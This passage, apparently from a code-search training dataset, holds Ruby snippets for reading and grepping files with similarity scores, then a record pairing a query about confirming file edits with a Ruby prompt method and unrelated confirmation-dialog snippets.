IO.readlines file_name\n break\n end\n end\n\n included\nend", "def document_entries\n entries.select{ |f| File.file?(File.join(path,f)) }\n end", "def grep(expr, filename='')\n\tif filename == ''\n\t\tlines = STDIN.readlines\n\telse\n\t\tbegin\n\t\t\tFile.open(filename, \"r\") do |f|\n\t\t\t\tlines = f.readlines\n\t\t\tend\n\t\trescue SystemCallError => e\n\t\t\tSTDERR.puts \"#{filename}: Error: could not read from file (#{e}).\"\n\t\t\treturn\n\t\tend\n\tend\n\tfor line in lines\n\t\tif line =~ Regexp.new(expr)\n\t\t\tputs \"#{filename}: #{line}\"\n\t\tend\n\tend\n\nend", "def lines(path)\n @path = path\n @lines = []\n @state = @syntax.start_state\n @errors.in_file_lines(path) { |line| scan_line(line.chomp) }\n return @lines\n end", "def potential_lines(filename); end", "def readlines(src_path)\n if File.exist?(src_path) && !File.directory?(src_path)\n File.readlines(src_path)\n else\n []\n end\n end", "def search_search(exploits_array, query)\n search_results=[]\n exploits_array.each do |line|\n line = line.unpack('C*').pack('U*') if !line.valid_encoding?\n if query == 'nil'\n search_results << line\n else\n search_results << line if line =~ /#{query}/i\n end\n end\n return search_results\nend", "def search q\n @db.fetch('SELECT * FROM files WHERE path MATCH ?', q).all\n end", "def lookup_includes_list(file)\n file_key = form_file_key(file)\n return [] if (@includes[file_key]).nil?\n return @includes[file_key]\n end", "def search_file(pattern, file)\n node = ast_from_file(file)\n search node, pattern\n end", "def line_from_file(filename, substring)\n fh = File.open(filename)\n begin\n line = fh.gets\n raise TextHandler::InvalidLineError unless line.include?(substring)\n return line\n rescue TextHandler::InvalidLineError => e\n puts \"Invalid line!\"\n puts e\n puts e.backtrace\n puts e.message\n raise\n ensure\n fh.close\n end\n return line\nend", "def file_contains(filename, pattern)\n unless pattern.kind_of?(Regexp)\n pattern = Regexp.new(pattern)\n end\n detected = nil\n File.open(filename) { |f|\n detected = f.detect { |line|\n line =~ pattern\n }\n }\n ! detected.nil?\n end", "def search(pattern, search_constraints=nil)\n matches = []\n @entries_mutex.synchronize do\n @entries.each do |aid, agent_description|\n matches << agent_description if agent_description.matches? pattern\n end\n end\n matches\n end", "def get_location(str)\n return nil unless str =~ /^(.+):(\\d+)(:in `.+'|$)/\n filename, linenum = $1, $2.to_i\n arr = [filename, linenum]\n return nil unless File.exist?(filename)\n return arr if _match_to(filename, @include)\n return nil if _match_to(filename, @exclude)\n return nil if @writable_check && !File.writable?(filename)\n return arr\n end", "def get_includes_and_externs_for(file)\n file = lookup(file)\n includes = []\n externs = []\n\n IO.readlines(file, :encoding => ENCODING).each {|line|\n case line.strip\n when /^#include \"(.*)\"\\s*$/\n dep = $1.downcase\n includes << lookup(dep)\n when /^\\s*extern\\(\"(.*)\"\\)\\s*$/\n dep = $1.downcase + \".n\"\n externs << lookup(dep) rescue FileTest.exists?(\"../../gamedata/override/#{dep}ss\") or\n $stderr.puts \"Error: #{file} externs #{dep}, which does not exist\"\n end\n }\n\n [includes, externs]\nend", "def search_on_filename\n needle = query.downcase.as_wiki_link\n all_pages.select { |name| name.downcase.include? needle }.map do |name|\n # unfreeze the String name by creating a \"new\" one\n SearchResult.new(name, 2 * @score, [0, name.tr('_', ' ')])\n end\n end", "def words_from_file( f )\n result = Array.new\n File.foreach( f ) do | line |\n result << self.words_from_string( line )\n end\n result.flatten\n end", "def get_lines raw_file\n lines = raw_file.split(\"\\n\").compact\n lines = lines.uniq.reject{|line| line.empty?}\n lines = lines.reject do |line| \n not LEGAL_CATEGORIES.include? line.split[0]\n end\n end", "def file_2_list(f,lc=true)\n puts \"Loading records from file: #{f}\" if @verbose\n begin\n list=Array.new\n file = File.open(f, \"r\")\n file.each_line do |line|\n line=line.chomp.strip\n next if line.nil?\n next if line.empty?\n next if line =~ /^\\s*#/\n line=line.downcase if lc==true\n list.push(line.chomp.strip)\n end\n file.close\n return list\n rescue => ee\n puts \"Exception on method #{__method__} for file #{f}: #{ee}\" if @verbose\n return nil\n end\n end", "def file_lines\r\n if File.exist?(@file_name)\r\n file_reader = File.open(@file_name, 'r')\r\n file_reader.each_line do |line|\r\n @lines.push line\r\n end\r\n file_reader.close\r\n @lines\r\n else\r\n raise \"File '#{@file_name}' does not exist\"\r\n end\r\n end", "def find(pattern)\n patterns= [pattern].flatten\n contents=[]\n self.each_pair do |path, content|\n patterns.each do |pattern|\n contents << content if Content.path_match? path, pattern\n end\n end\n contents\n end", "def analyze_file()\n arrayLinAnaly=[]\n linenum=0\n File.foreach('test.txt') do |line|\n arrayLinAnaly << LineAnalyzer.new(line, linenum)\n linenum+=linenum\n end\n return arrayLinAnaly\n end", "def load_external_files(code_array)\n code_array.collect do |line| \n match = line.match(Parser::EXTERNAL_FILE_REGEXP) \n if match\n file_name = match.to_a.last\n begin \n file = File.open(file_name, 'r')\n data = file.lines.to_a.join(\"\\n\")\n file.close\n data = preprocess_code(data)\n data = remove_comments(data)\n data = load_external_files(data)\n data\n rescue Exception => e\n raise Parser::IncludedFileNotFound.new \"File not found: #{file_name} or other error.\"\n end\n else\n line\n end\n end\n end", "def necessary_spellings\n spellings = []\n if necessary_file\n File.readlines(necessary_file).each do |line|\n line.strip!\n spellings << line unless line == \"\"\n end\n end\n spellings\n end", "def fsearch(file, regex)\n\tooo = File.stat(file)\n\toatime=foo.atime #atime before edit\n\tomtime=foo.mtime #mtime before edit\n\n\tf = File.open(file)\n\tfoo = f.readlines\n\tf.close\n\tif foo.to_s.match(/#{regex}/im) #Check for needle in haystack :p\n\t\tputs \"#{HC}#{FGRN}Found matches to '#{FWHT}#{regex}#{FGRN}' in File#{FWHT}: #{file}#{RS}\"\n\t\tocc = foo.to_s.scan(/#{regex}/im).count #How many times does it occur in file?\n\t\tputs \"\\t#{FGRN}Number of Occurances#{FWHT}: #{occ}#{RS}\"\n\telse\n\t\tputs \"#{HC}#{FRED}No Matches to '#{FWHT}#{regex}#{FRED}' in File#{FWHT}: #{file}#{RS}\"\n\tend\n\n\tFile.utime(oatime, omtime, file) #Keep timestamp preserved\nend", "def scan\n list = []\n io.each do |input|\n # TODO: limit to text files, how?\n begin\n text = read(input)\n text.scan(regex) do\n list << Match.new(input, $~)\n end\n rescue => err\n warn(input.inspect + ' ' + err.to_s) if $VERBOSE\n end\n end\n list\n end", "def grep *args\n if exists?\n matches = read.split(\"\\n\").grep(*args)\n matches unless matches.empty?\n end\n end", "def regex_files(files, regex=nil)\n array = files.nil? ? [] : files\n if !files.nil? && !regex.nil?\n exp = Regexp.new(regex)\n array = files.select do |file|\n file_name = File.basename(file, \".*\")\n match = exp.match(file_name)\n !match.nil? # return this line\n end\n end\n return array\nend", "def ReadFromFile()\n wordArray = Array.new\n File.open(\"mastermindWordList.txt\", \"r\") do |file| # Uncomment this to have a larger list (466000+ words)\n # Note: Only use if in original repository that contains words.txt\n # File.open(\"mastermindWordList.txt\", \"r\") do |file| # Comment this if previous line is uncommented\n file.each_line do |word|\n if CheckValidWord(word) == true\n wordArray.push(word.chomp.downcase)\n end\n end\n end\n return wordArray\nend", "def grep(pattern)\n return self unless pattern\n\n pattern = Regexp.new(pattern)\n\n select do |loc|\n loc.line =~ pattern\n end\n end", "def find_apf( path_and_file = self.file_name_and_contents.path_and_file)\n match_apf = []\n regexp = /^t([^ \\#]+)( *$| )/\n File_name_and_contents.new( path_and_file ).contents.each do |line|\n if line.match(regexp) != nil\n if line.match(regexp)[1] != nil \n match_apf << ( self.file_name_and_contents.path_and_file.sub(/\\/.+/, '') + '/' + line.match(regexp)[1].chomp + '.apf' ) \n end\n end\n end\n match_apf\n end", "def file_list(dir)\n array = Array.new\n array += File.readlines(dir).map(&:chomp)\nend", "def find_file(file_name, path_array)\n result = nil\n lookup = []\n\n unless path_array.empty?\n search_paths = path_array\n\n if path_array.first.kind_of? String\n search_paths = [path_array]\n end\n\n search_paths.each do |elem|\n full_path = (elem.kind_of?(String)) ? elem : File.join(elem)\n\n files = Dir.glob(File.join(full_path, file_name))\n\n unless files.empty?\n result = files.sort.last\n break\n else\n lookup << full_path\n end\n end\n end\n\n if result.nil?\n fail \"Could not find file #{file_name} at #{lookup.join(', ')}\"\n end\n\n result\nend", "def search_in(files, host, options = T.unsafe(nil)); end", "def get_content_search_paths()\n r = @file_content_search_paths.clone\n p = find_project_dir_of_cur_buffer()\n if p.nil?\n p = vma.buffers.last_dir\n end\n\n if p and !@file_content_search_paths.include?(p)\n r.insert(0, p)\n end\n\n return r\n end", "def lines(textFile)\n textFile.to_a.select {|line| /\\S/ =~ line and /^\\#/ !~ line}.length\nend", "def occurGrep(pattern, filename)\n\tregexp = Regexp.new(pattern)\n\tFile.foreach(filename).with_index { |line, line_num| \n\t\tputs \"#{line_num}: #{line}\" if regexp =~ line }\nend", "def get_from_file(path)\n\n array = []\n file = File.open(path)\n if file != nil\n array = file.readlines.map(&:chomp) # Discard the final '\\n'\n file.close\n end\n\n return array\n\nend", "def file_2_list(f,lc=true)\n\t\tputs \"Loading records from file: #{f}\" if @verbose\n\t\tbegin\n\t\t\tlist=Array.new\n\t\t\tfile = File.open(f, \"r\")\n\t\t\tfile.each_line do |line|\n\t\t\t\tline=line.chomp.strip\n\t\t\t\tnext if line.nil?\n\t\t\t\tnext if line.empty?\n\t\t\t\tnext if line =~ /^\\s*#/\n\t\t\t\tline=line.downcase if lc==true\n\t\t\t\tlist.push(line.chomp.strip)\n\t\t\tend\n\t\t\tfile.close\n\t\t\treturn list\n\t\trescue => ee\n\t\t\tputs \"Exception on method #{__method__} for file #{f}: #{ee}\" if @verbose\n\t\t\treturn nil\n\t\tend\n\tend" ]
[ "0.7128457", "0.7125836", "0.69238985", "0.6905917", "0.69048", "0.6885366", "0.6835945", "0.6657407", "0.6636865", "0.66109884", "0.65037006", "0.64726603", "0.64112854", "0.63722193", "0.63722193", "0.63263345", "0.62803096", "0.62404174", "0.6239854", "0.6190422", "0.6188416", "0.618433", "0.60499066", "0.6048463", "0.6035251", "0.59933543", "0.59453726", "0.5942263", "0.59184444", "0.59161496", "0.5916042", "0.591424", "0.5912922", "0.58958757", "0.5885475", "0.58609504", "0.5810051", "0.5810051", "0.5810051", "0.5803787", "0.58036566", "0.57962173", "0.57944334", "0.5781391", "0.5751939", "0.5734418", "0.573404", "0.57252973", "0.57147336", "0.57062", "0.5683556", "0.56833786", "0.5675796", "0.567318", "0.5672509", "0.5651208", "0.564916", "0.56482977", "0.5640918", "0.5640271", "0.56323427", "0.5628694", "0.5627037", "0.5625763", "0.56229675", "0.5616093", "0.56034034", "0.5596934", "0.559207", "0.55899435", "0.55844945", "0.5578513", "0.5577425", "0.5571041", "0.55702424", "0.55635995", "0.5554922", "0.55452466", "0.5534457", "0.5522866", "0.55196345", "0.5509989", "0.5505593", "0.55039597", "0.550163", "0.5500383", "0.5500094", "0.5494972", "0.5490397", "0.54869807", "0.5485884", "0.5484345", "0.5477357", "0.5463573", "0.5445245", "0.5442742", "0.5438413", "0.5436494", "0.54320955", "0.5424348" ]
0.71408373
0
This method ask you for confirmation if you want to make indicated change.
def ask_for_several_change_in_file line_to_change, file_path if @change_all puts "\n\e[39m******************************************" puts '* *' puts '* Automatically changes has been started *' puts '* *' puts "\nFile: #{file_path}\n\n" return true end puts "\n\e[39m******************************************" puts '* *' puts '* Follow the instructions below to *' puts '* make changes in file *' puts "\nPhrase:\n #{line_to_change}\nfound in file:\n#{file_path}\n" print "\e[31m\e[1;4m\nDo I have to change this phrase [y/n/all] (default \e[32m\e[1;4mYes\e[31m) ?\n" choise = STDIN.gets.chomp.upcase res = false if choise == 'Y' || choise.length == 0 res = true elsif choise == 'A' res = true @change_all = true end res end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def confirm(question)\n CLI::UI.confirm(question)\n end", "def confirm\n\n end", "def confirm(question)\n formatted_question = \"\\n #{question} [Y/n]\"\n answer = ask(formatted_question).strip\n fail unless [\"Y\", \"y\", \"\"].include?(answer)\n end", "def confirm\n puts \"#{@gre}[ok] #{@lastMsg}. #{@ncl}\"\n end", "def confirm\n options.fetch(:confirm, nil)\n end", "def confirm_with_user\n confirmed = Helper::Util.confirm \"Is this OK? \", true\n return if confirmed\n\n loop do\n Helper::Util.clear\n\n print_identification\n\n say \"<%= color('The following options may be adjusted before continuing.', BOLD) %>\"\n choice = choose do |menu|\n self.class.available_options.reject(&:skip_confirmation).each do |option|\n value = send option.confirm_symbol\n menu.choice \"#{option.label}: #{option.display_value(value)}\"\n end\n\n menu.choice \"Accept and continue\"\n menu.choice \"Quit\"\n menu.readline = true\n menu.prompt = \"What would you like to do?\"\n end\n\n Helper::Util.clear\n\n print_identification\n\n if (option = self.class.available_options.find { |o| choice =~ /^#{Regexp.quote(o.label)}/ })\n loop do\n break if prompt_for_option(option)\n say \"Invalid value for option.\\n\\n\"\n end\n elsif choice =~ /^Accept/\n log\n return\n else\n exit(0)\n end\n end\n end", "def confirm(question, append_instructions = true, default_choice = nil)\n unless confirm_without_exit(question, append_instructions, default_choice)\n exit 3\n end\n true\n end", "def confirm\n end", "def confirm\n end", "def proceed_to_confirm(params = {})\n self.status = 'confirming'\n if self.update(params)\n true\n else\n false\n end\n end", "def confirm(prompt); end", "def confirm\n text = \" Notifier #{@selected_size} abonnement(s)\"\n return unless GuiQt.confirm_dialog(text)\n answer = do_notify\n report(answer.join(\"\\n\"))\n JacintheManagement.log(answer.join(\"\\n\"))\n update_classification\n redraw_selection_area\n update_selection\n @show_button.enabled = true\n end", "def confirm(prompt)\n 'y'\n end", "def confirmation\n end", "def confirmed?; end", "def require_confirmation!(msg=\"\", &block)\n answer = ask(\"#{msg} [yn]\") do |q|\n q.echo = false\n q.character = true\n q.validate = /\\A[yn]\\Z/\n end\n exit(0) if answer.index('n')\n end", "def confirm msg\n document.get_default_view.confirm(msg)\n end", "def confirm!\n return false if purchased?\n confirmed!\n end", "def confirm(prompt)\n return true if config[:yes]\n valid_responses = %w[yes no y n]\n response = nil\n 3.times do\n response = ui.ask(prompt).downcase\n break if valid_responses.include? response\n ui.warn \"Valid responses are #{valid_responses}\"\n end\n response.match(/^y/)\n end", "def confirm(prompt, default=false)\n raise RuntimeError, Trepan::NotImplementedMessage\n end", "def confirm?(text='')\n return self.run_cmd('confirm ' + text) == 0\n end", "def confirm!\n @@api.post(endpoint: self.endpoint + ['confirm'])\n end", "def confirm_checkout\n system 'clear'\n CoffeeMan.stay_logo\n choice = self.prompt.select(\"Are you done\") do |menu|\n menu.choice \"Yes\", -> {checkout}\n menu.choice \"No\", -> {view_cart}\n end\n end", "def confirm(question)\n new_scope.agree(question.confirm_question(self))\n end", "def request_confirmation(options = Hash.new,&block)\n button1 = options[:button1] || \"Continue\"\n button2 = options[:button2] || \"Cancel\"\n title = options[:title] || \"Something Happened\"\n prompt = options[:prompt] || \"Should we continue or cancel?\"\n\n \tres = alert(:informational, title, prompt, button1, button2)\n\n if res == button1 then\n block_given? ? yield : true\n else\n block_given? ? raise(SystemExit) : false\n end\n end", "def confirmed?\n confirmation == 'yes'\n end", "def confirmation_required?; end", "def send_confirmation\n reply 'confirmation'\n end", "def confirm(msg)\n print(\"%s (y/n) \" % msg)\n\n $stdout.flush\n\n exit(1) unless $stdin.gets.strip.match?(/^(?:y|yes)$/i)\n end", "def approval_confirm\n @minimal_ui = true\n \n case params[:decision]\n when 'approve'\n render :confirm_approve\n when 'disapprove'\n render :confirm_disapprove\n else\n raise\n end\n end", "def confirm!\n self.pending = false\n self.save\n self.createDebts\n end", "def confirm?(text)\n return self.run_cmd('confirm ' + text) == 0\n end", "def confirm(message='Are you sure?')\n while true\n tell_user [message, '(Y)es | (N)o']\n case input = user_input\n when /y|yes/ then return true\n when /n|no/ then return false\n else tell_user \"Invalid option: '#{input}'\"\n end\n end\n end", "def msg\n 'Are you sure? All your changes will be lost.'\n end", "def confirm(prompt)\n readline(prompt) == \"y\"\n end", "def confirm!\n no_stock_of = self.order_items.select(&:validate_stock_levels)\n unless no_stock_of.empty?\n raise Shoppe::Errors::InsufficientStockToFulfil, :order => self, :out_of_stock_items => no_stock_of\n end\n \n run_callbacks :confirmation do\n # If we have successfully charged the card (i.e. no exception) we can go ahead and mark this\n # order as 'received' which means it can be accepted by staff.\n self.status = 'received'\n self.received_at = Time.now\n self.save!\n\n self.order_items.each(&:confirm!)\n\n # Send an email to the customer\n deliver_received_order_email\n end\n \n # We're all good.\n true\n end", "def confirm\n\n\t\tprint \"\\n\\n\\tAre you Sure want to purchase this product(y/n)?: \" \n\t\t\n\t\toption=gets.chomp\n\n\t\tif option==\"y\" or option==\"Y\"\n\t\t\n\t\tloop do\n\t\t\tprint \"\\n\\n\\t\\tEnter Your Name: \"\n\t#get user name\n\t\t\t@name=gets.chomp\n\t#check validation for name\n\t\tbreak if @name=~ /^[A-Z a-z]+$/ and @name.length>2 and @name.length<31\n\t\t\tputs \"\\n\\n\\t\\tInvalid Name!!!...Enter Correct\"\n\t\tend\n\n\t\tloop do\n\t\t\tprint \"\\n\\n\\t\\tEnter Your Address: \"\n\t#get user address\n\t\t\t@address=gets.chomp\n\t#check validation for address\n\t\tbreak [email protected]>10 and @address.length<51\n\t\t\tputs \"\\n\\n\\t\\tInvalid Address!!!...Enter full Correct address(minimum 10 character)\"\n\t\tend\n\t\t\n\t\tloop do\n\t\t\tprint \"\\n\\n\\t\\tEnter Your Mobile No.: \"\n\t#get mobile number\n\t\t\t@mobile=gets.chomp\n\t#check validation for mobile\n\t\tbreak if @mobile=~ /\\d{10}/ and @mobile.length<11\n\t\t\tputs \"\\n\\n\\t\\tInvalid Mobile No!!!...Enter Correct\"\n\t\tend\n\t#insert values into users \n\t\t\[email protected](\"insert into users values(?,?,?,?)\")\n\t\t\tstatement8.execute(@user_id,@name,@address,@mobile)\n\t\t\[email protected]\n\t#call order method\n\t\t\torder\n\t\t\t\n\t\telsif option==\"n\" or option==\"N\"\n\t#call delete_entry method\n\t\t\t\tdelete_entry\n\t\t\t\texit -1\n\t\telse\n\t\t\tputs \"\\n\\n\\t\\tInvalid Choice!!!...Try again\"\n\t#call confirm method\n\t\t\tconfirm\n\t\tend\n\n\tend", "def confirmation\n puts \"this is your information:\"\n puts \" name:#{@name}, date:#{@day_start} to #{@day_end}, phone:#{@phone}, email:#{@email}\".colorize(:color => :red)\n puts\n puts \"Congratulations! You have booked your dog boarding successfully. Looking foorward to see you soon!\"\n end", "def ask_for_confirmation( description, abort_on_decline=true )\n\t\t\tprompt = 'Continue?'\n\n\t\t\t# If the description looks like a question, use it for the prompt. Otherwise,\n\t\t\t# print it out and\n\t\t\tif description.strip.rindex( '?' )\n\t\t\t\tprompt = description\n\t\t\telse\n\t\t\t\tlog description\n\t\t\tend\n\n\t\t\tanswer = prompt_with_default( prompt, 'n' ) do |input|\n\t\t\t\tinput =~ /^[yn]/i\n\t\t\tend\n\n\t\t\tif answer =~ /^y/i\n\t\t\t\treturn yield\n\t\t\telsif abort_on_decline\n\t\t\t\terror \"Aborted.\"\n\t\t\t\tfail\n\t\t\tend\n\n\t\t\treturn false\n\t\tend", "def confirm( code )\n if (code == self.confirm_code)\n self.confirm_code = nil\n self.state = 'C'\n self.save!\n # check and store new data for recipient\n if self.recipient.new_data\n data = YAML.load( recipient.new_data )\n if data\n recipient.update_attributes( data )\n recipient.new_data = nil\n recipient.confirmed_real = true\n recipient.save\n end\n end\n else\n raise \"Confirmation code not valid for this recipient!\"\n end\n return true\n end", "def confirm(message, options = {})\n confirm_message = options[:confirm_message] || 'Are you sure?'\n banner = options[:banner] || false\n banner ? header(message) : puts(\"\\n#{message}\")\n print \"#{confirm_message} (yes/no) \"\n choice = STDIN.gets.chomp\n\n case choice\n when 'yes'\n return true\n else\n puts 'Aborted'\n end\nend", "def confirm(title = nil, hint: nil, result_type: :boolean)\n args = owner.generate_args_list([['confirm'],\n ['-t', title],\n ['-i', hint]\n ])\n single_result(args, result_type)\n end", "def confirmed?\n confirmation == 'Confirmed'\n end", "def confirmed?\n confirmation == 'yes'\n end", "def confirm\n @petition = @signature.petition\n # generate the update signature url\n @url = petition_signature_confirm_submit_path(@petition, @signature.unique_key)\n\n # check if we are in the unconfirmed table\n if @signature.class == NewSignature\n\n # check if we need to have extra information\n # and inform user about it\n if @signature.require_full_address? ||\n # @signature.require_person_birth_city? ||\n @signature.require_born_at? ||\n @signature.require_person_country?\n\n # create the information needed messages\n @action = t('confirm.form.action.confirm_and_save')\n @message = t('confirm.form.add_information_and_confirm')\n else\n # we don't need extra information so everything is fine\n @message = t('confirm.form.is_confirmed_add_information')\n end\n # always move new_signature to signature\n # since the user must be real\n confirm_signature\n else\n @message = t('confirm.form.update_information')\n @action = t('confirm.form.action.add_details')\n end\n # add some javascript data to allow for data checking\n add_check_fields\n end", "def confirm_order\n end", "def after_confirmation\n end", "def confirm!\n self.confirmation_token = nil\n self.confirmed_at = Time.now.utc\n save(:validate => false)\n end", "def confirm_invitation\n @teammate = Teammate.find(params[:teammate_id])\n return redirect_to forbidden_path unless @teammate.user_id == @current_user.id\n\n if params[:confirm] == 'accept'\n verified = @teammate.verify\n verified ? msg = 'Bem-vindo ao Time de Tripulantes!' : msg = 'Oops! Ocorreu um erro, tente novamente. Caso o erro persista peça para ser adicionado novamente ao time.'\n return redirect_to pitch_teammate_path(@pitch, @teammate), flash: { notice: msg }\n elsif params[:confirm] == 'decline'\n @teammate.destroy\n msg = \"Convite do time #{@teammate.pitch.name} Rejeitado com Sucesso.\"\n return redirect_to root_path, flash: { notice: msg }\n end\n end", "def win_confirm_update \n @windows[Win_Confirm].update\n @windows[Win_Help].hide\n case @windows[Win_Confirm].question\n when Command_Confirm::Move\n show_range_after_move? \n case confirm_trigger?\n when 0; confirm_move \n when 1; cancel_move\n end\n\n when Command_Confirm::Attack \n case confirm_trigger?\n when 0; confirm_attack\n when 1; cancel_attack\n end\n \n when Command_Confirm::Skill\n update_status_revive(@spell)\n case confirm_trigger?\n when 0; confirm_skill\n when 1; cancel_skill\n end\n \n when Command_Confirm::Wait_Skill_Targeting\n if Input.trigger?(Input::C)\n Sound.play_decision\n case @windows[Win_Confirm].index\n when 0; confirm_skill_panel_targeting\n when 1; confirm_skill\n end\n close_confirm_window \n elsif Input.trigger?(Input::B) \n Sound.play_cancel\n close_confirm_window\n cancel_skill\n end\n when Command_Confirm::Item\n update_status_revive(@item)\n case confirm_trigger?\n when 0; confirm_item\n when 1; cancel_item\n end\n \n when Command_Confirm::Wait\n case confirm_trigger?\n when 0\n activate_wait_phase\n @windows[Menu_Actor].active = false\n when 1\n actor_menu_open\n end\n when Command_Confirm::Place\n case confirm_trigger?\n when 0\n close_confirm_window \n @cursor.active = false \n @windows[Win_Status].visible = false\n clear_tr_sprites\n #leave the prepare phase\n return true\n when 1\n close_confirm_window\n @cursor.active = true\n return nil\n end\n when Command_Confirm::Revive\n case @cursor.mode\n when TBS_Cursor::Item\n case confirm_trigger?\n when 0; confirm_item\n when 1; cancel_item\n end\n when TBS_Cursor::Skill\n case confirm_trigger?\n when 0; confirm_skill\n when 1; cancel_skill\n end\n end \n end \n end", "def said_change?(text, *args)\n self.yes?(\"» #{text}\", :cyan, *args)\n end", "def confirm!\n update(confirmed_at: Time.now.utc, status: :confirmed)\n end", "def check_for_cancel\n return unless params[:commit] == t( :cancel )\n back( notice: 'Alterações descartadas.' )\n end", "def confirm!\n welcome_message\n super\n end", "def confirm!\n welcome_message\n super\n end", "def confirm\n rpc(:block_confirm, :hash, _access: :started) == 1\n end", "def prompt_for_continue\n result = @env.ui.ask(\"Deployment paused for manual review. Would you like to continue? (y/n) \")\n if result.upcase != \"Y\"\n @env.ui.info(\"Deployment push action cancelled by user\")\n return false\n end\n true\n end", "def confirm_account\n confirm\n end", "def ask_confirmation\n $stdout.print(\"This operation will uninstall following packages:\n docker,\n vagrant,\n libvirt-client,\n libvirt-dev,\nas well as all installed vagrant plugins and 'default' libvirt pool.\nAre you sure you want to continue? [y/N]: \")\n while (input = gets.strip)\n return true if input == 'y'\n return false if input == 'N'\n $stdout.print('Please enter one of the options [y/N]: ')\n end\n end", "def confirm_placement\n end", "def choose_cancel_on_next_confirmation\r\n command 'chooseCancelOnNextConfirmation'\r\n end", "def choose_cancel_on_next_confirmation\r\n command 'chooseCancelOnNextConfirmation'\r\n end", "def patch_confirm\n if current_user.character\n if current_user.character.confirmed\n flash[:error] = 'You have already confirmed your character.'\n redirect_to root_path\n return\n end\n else\n flash[:error] = 'You need to connect a character to your account before you can confirm it.'\n redirect_to root_path\n return\n end\n\n @character.confirm_character\n\n respond_to do |format|\n if @character.save\n flash[:success] = \"Successfully confirmed character!\"\n format.html { redirect_to @character.user }\n format.json { head :no_content }\n else\n format.html { render action: 'confirm' }\n format.json { render json: @character.errors, status: :unprocessable_entity }\n end\n end\n end", "def after_confirmation\n puts 'xxxxxxxx'\n end", "def resend_confirmation_instructions; end", "def ask(message, default=true)\n Capistrano::CLI.ui.agree(message)\nend", "def confirmed!\n @_confirmed = false\n self.confirmed = true\n save\n end", "def confirm!\n update!(confirmed_at: DateTime.now)\n end", "def confirm\n Packages.update_package(params[:id])\n redirect_to :action => 'list_takingpackage'\n end", "def submission_confirmation(nominee_conf, client_conf, award_level_conf)\n puts \"You have successfully nominated: #{nominee_conf}\"\n puts \"Client: #{client_conf} and Level of Influence: #{award_level_conf}\"\n puts \"If this is incorrect, please refresh and try again.\"\nend", "def send_confirmation_instructions; end", "def confirm_for_fulfillment\n\n\t\t\tresult = PrintfulAPI.request( :POST, \"/orders/#{self.id}/confirm\", {} )\n\n\t\t\tself.load_data( result )\n\n\t\t\treturn true\n\n\t\tend", "def confirm\n approval = Approval.find_by(id: params[:id])\n approval.approval = true\n approval.save\n redirect_to users_path\n end", "def confirm(question, default_value)\n yn_opts = default_value ? \"Y/n\" : \"y/N\"\n value = ask \"#{question} (#{yn_opts}) \", nil\n\n # Convert to true/false\n dummy_option = Configuration::Option.new({})\n value = dummy_option.convert(value)\n\n return default_value if value.nil? || value.kind_of?(String)\n value\n end", "def confirm(msg)\n STDOUT.printf \"OK to \" + msg + \" (y/n)? \"\n input = STDIN.gets.chomp.downcase\n input == \"y\"\nend", "def confirm(msg)\n STDOUT.printf \"OK to \" + msg + \" (y/n)? \"\n input = STDIN.gets.chomp.downcase\n input == \"y\"\nend", "def is_confirmable?\n true\n end", "def redsys_confirm\n logger.info \"==== REDSYS#CONFIRM ==== order##{params[:order_id]} params# #{params.inspect}\"\n @order ||= Spree::Order.find_by_number!(params[:order_id])\n if check_signature\n unless @order.payments.any?(&:completed?)\n payment_upgrade\n @order.updater.update_payment_total\n end\n @order.next\n if @order.completed?\n flash.notice = Spree.t(:order_processed_successfully)\n flash[:order_completed] = true\n session[:order_id] = nil\n redirect_to completion_route(@order)\n else\n flash[:error] = @order.errors.full_messages.join(\"\\n\")\n redirect_to checkout_state_path(@order.state) and return\n end\n else\n flash[:alert] = Spree.t(:spree_gateway_error_flash_for_checkout)\n redirect_to checkout_state_path(@order.state)\n end\n end", "def prompt_confirmation_modal\n @target_action = params[:target]\n @sub_id = params[:id]\n @controller = params[:controller]\n @method = params[:method]\n\n #Enable this code to have the conditional pause/resume functionality.\n #@locked_order = @my_subscription.get_under_process_orders_number if is_cancel_or_pause?(@target_action)\n end", "def confirm text, config={}, &block\n title = config['title'] || \"Confirm\"\n config[:default_button] ||= 0\n\n mb = Canis::MessageBox.new config do\n title title\n message text, &block \n button_type :yes_no\n end\n index = mb.run\n return index == 0\nend", "def with_confirmation(&block)\n ApplicationRecord.transaction do\n CurrentUser.scoped(User.system, \"127.0.0.1\") do\n yield\n\n print \"Commit? (yes/no): \"\n raise \"abort\" unless STDIN.readline.chomp == \"yes\"\n end\n end\nend", "def confirmation_required?\n return true\n end", "def filled?\n return true if confirmation.present?\n\n @message = 'You must choose an answer'\n false\n end", "def backupConfirm( trigger )\n puts Colors.bg_blue(Colors.black(\"\\n\\tDo you want to backup your MODX database now (on '#{trigger}')? [Y,n] \\n\"))\n confirm = STDIN.gets.chomp\n if ( confirm == \"Y\" || confirm==\"\" || confirm==\"y\")\n run_remote \"sudo chmod a+x /vagrant/_server/backup.sh\"\n run_remote \"sudo /vagrant/_server/backup.sh #{trigger} #{$global['vm']['name']}\"\n else\n puts Colors.yellow(\"\\t==> no backup\");\n end\n end", "def external_unconfirm\n if not self.transaction_source_id.nil? \n self.errors.add(:generic_errors, \"Can't modify the automated generated transaction\")\n return self \n end\n \n self.is_confirmed = false \n if self.save\n self.update_affected_accounts_due_to_un_confirmation\n end\n end", "def confirm(question)\n loop do\n print(question)\n print(\" (y/n): \")\n STDOUT.flush\n s = STDIN.gets\n exit if s == nil\n s.chomp!\n\n return true if s == 'y'\n return false if s == 'n'\n end\nend", "def confirmacionordenmesexp\n RemisorOrdenesCompraMailer.confirmacionordenmesexp\n end", "def confirm_event\n @event.update(confirmed: true)\n end", "def confirmation_required?\n true\n end", "def after_confirmation\n activate\n end", "def confirm\n @definition = Definition.where(:code => params[:code]).first\n\n if @definition\n @definition.status = 'confirmed'\n @definition.save!\n end\n end", "def confirm(ask_string, redo_string)\n\n confirm_status = false\n until confirm_status == true\n puts ask_string.green\n puts \"Please put Yes, or No\"\n\n answer = ask_user\n\n if answer == \"yes\"\n return 1\n confirm_status = true\n elsif answer == \"no\"\n puts redo_string.green\n confirm_status = true\n return 0\n else\n no_understand\n end\n\n end\n\nend", "def after_confirmation; end", "def stock_change\n\n\t\tprint \"\\n\\n\\t\\tAre You Confirm(y/n)\"\n\t\toption=gets.chomp\n\n\t\tif option==\"y\" or option==\"Y\"\n\t#fetch product id from inline products\n\t\t\[email protected](\"select p_id from inline_products where card_no=?\")\n\t\t\tstatement12.execute(@card_no)\n\n\t\t\twhile 